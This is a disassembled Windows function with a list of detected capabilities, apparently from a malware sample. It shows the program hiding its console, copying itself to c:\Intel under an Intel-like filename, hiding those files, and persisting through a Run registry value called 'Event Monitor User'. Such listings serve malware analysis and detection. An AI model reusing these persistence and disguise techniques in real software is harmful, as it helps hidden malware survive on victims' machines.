Function at 0x402850
Capabilities:
Create directory
Delete directory
Execute command
Hide graphical window
Persist via run registry key
Query or enumerate registry value
Read file on windows
Set console window title
Set file attributes
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x44c
and esp, 0xfffffff0
call fcn.004031e0
call fcn.00402e80
call sub.KERNEL32.dll_AllocConsole
mov dword [esp], str.ConsoleWindowClass
xor eax, eax
xor esi, esi
mov dword [esp + 4], eax
mov edi, 0x3e8
lea ebx, [ebp - 0x40c]
call sub.USER32.dll_FindWindowA
mov dword [ebp - 0x420], eax
sub esp, 8
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov dword [esp], 0x1f
call sub.msvcrt.dll_malloc
mov dword [eax], 0x495c3a63
mov esi, eax
mov dword [eax + 4], 0x6c65746e
mov dword [eax + 8], 0x4141495c
mov dword [eax + 0xc], 0x69746f6e
mov dword [eax + 0x10], 0x78652e66
mov word [eax + 0x14], 0x65
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [eax + esi], 0x732d20
xor edx, edx
mov ecx, 1
mov dword [ebp - 0x410], edi
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
je 0x402b18
mov dword [esp], str.c:IntelIAAnotif.exe
mov ecx, 0x4058eb
mov dword [esp + 4], ecx
call sub.msvcrt.dll_fopen
test eax, eax
je 0x402c36
mov dword [esp], eax
call sub.msvcrt.dll_fclose
cmp dword [ebp + 8], 1
jle 0x4029f0
cld
mov eax, dword [ebp + 0xc]
mov edi, 0x4058ed
mov ecx, 3
mov ebx, dword [eax + 4]
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x40298d
cld
mov edi, str._mail
mov esi, ebx
mov ecx, 6
repe cmpsb byte [esi], byte es:[edi]
je 0x402bf3
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 1
xor edi, edi
mov ebx, str.__mail
mov dword [esp + 0xc], edi
mov edx, str.c:IntelIAAnotif.exe
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
call sub.msvcrt.dll__spawnl
jmp 0x4029d7
mov dword [esp], str.c:Inteliaahci.cat
mov esi, pe_nt_image_headers32
mov dword [esp + 4], esi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], str.c:Inteliaahci.cat
call sub.msvcrt.dll__rmdir
call fcn.00401b20
test eax, eax
jne 0x4029b3
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, 1
lea esi, [ebp - 0x41c]
xor edi, edi
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x420]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov dword [esp], str.mode_con_cols40_lines20
call sub.msvcrt.dll_system
mov dword [esp], 0xfffffff5
call sub.KERNEL32.dll_GetStdHandle
mov dword [0x4060b0], eax
sub esp, 4
mov ecx, 0x406080
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_GetConsoleScreenBufferInfo
sub esp, 8
mov eax, 0x20
mov dword [esp + 0x10], esi
xor esi, esi
mov dword [esp + 0xc], edi
xor edi, edi
movsx edx, word [0x406082]
movsx ebx, word [0x406080]
mov dword [esp + 4], eax
imul ebx, edx
mov dword [esp + 8], ebx
mov ecx, dword [0x4060b0]
xor ebx, ebx
mov dword [esp], ecx
call sub.KERNEL32.dll_FillConsoleOutputCharacterA
sub esp, 0x14
mov dword [esp], str.Demons_running.
call sub.KERNEL32.dll_SetConsoleTitleA
sub esp, 4
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
mov dword [0x406060], eax
mov edx, 1
sub esp, 0xc
mov dword [esp + 4], edx
mov dword [esp + 8], ebx
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
mov dword [0x4060a0], eax
sub esp, 0xc
xor eax, eax
mov dword [0x406070], eax
call fcn.00401880
mov ecx, dword [0x406060]
mov dword [esp], ecx
call sub.KERNEL32.dll_CloseHandle
mov esi, dword [0x4060a0]
sub esp, 4
mov dword [esp], esi
call sub.KERNEL32.dll_CloseHandle
mov edi, dword [0x4060b0]
sub esp, 4
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
lea edi, [ebp - 0x410]
xor eax, eax
xor ebx, ebx
mov dword [esp + 0x14], edi
mov ecx, str.Event_Monitor_User
lea edi, [ebp - 0x408]
mov dword [esp + 8], ebx
mov ebx, 2
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], eax
mov dword [esp + 4], ecx
mov edx, dword [ebp - 0x40c]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x402b71
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.msvcrt.dll_strcmp
cmp eax, 1
sbb ebx, ebx
not ebx
and ebx, 2
mov edx, dword [ebp - 0x40c]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 2
jne 0x402928
mov dword [esp], 0x80000001
mov ecx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea ebx, [ebp - 0x414]
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
call sub.ADVAPI32.DLL_RegCreateKeyA
sub esp, 0xc
test eax, eax
jne 0x402928
mov dword [esp], esi
xor edi, edi
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], eax
mov edx, 1
mov eax, str.Event_Monitor_User
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], edx
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov esi, dword [ebp - 0x414]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
jmp 0x402928
mov dword [esp], 0xea60
call sub.msvcrt.dll__sleep
call fcn.004025e0
test eax, eax
je 0x402bf3
mov dword [esp], 1
mov edx, str.__mail
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov eax, str.c:IntelIAAnotif.exe
mov dword [esp + 8], edx
mov dword [esp + 4], eax
call sub.msvcrt.dll__spawnl
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.c:Intel
mov esi, section..rdata
call sub.msvcrt.dll__mkdir
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax]
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x402cee
mov dword [esp], str.c:IntelIAAnotif.exe
mov edi, 0x405003
mov dword [esp + 4], edi
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x402cee
test byte [ebx + 0xc], 0x10
jne 0x402cde
lea esi, [ebp - 0x415]
mov dword [ebp - 0x424], esi
nop
mov dword [esp + 0xc], ebx
mov ecx, 1
mov edx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x424]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp + 0xc], edi
mov ecx, 1
mov edx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [ebp - 0x424], esi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
test byte [ebx + 0xc], 0x10
je 0x402c90
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], str.c:Intel
mov ebx, pe_nt_image_headers32
call fcn.00401340
mov dword [esp + 4], ebx
mov dword [esp], str.c:Intel
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
jmp 0x40294d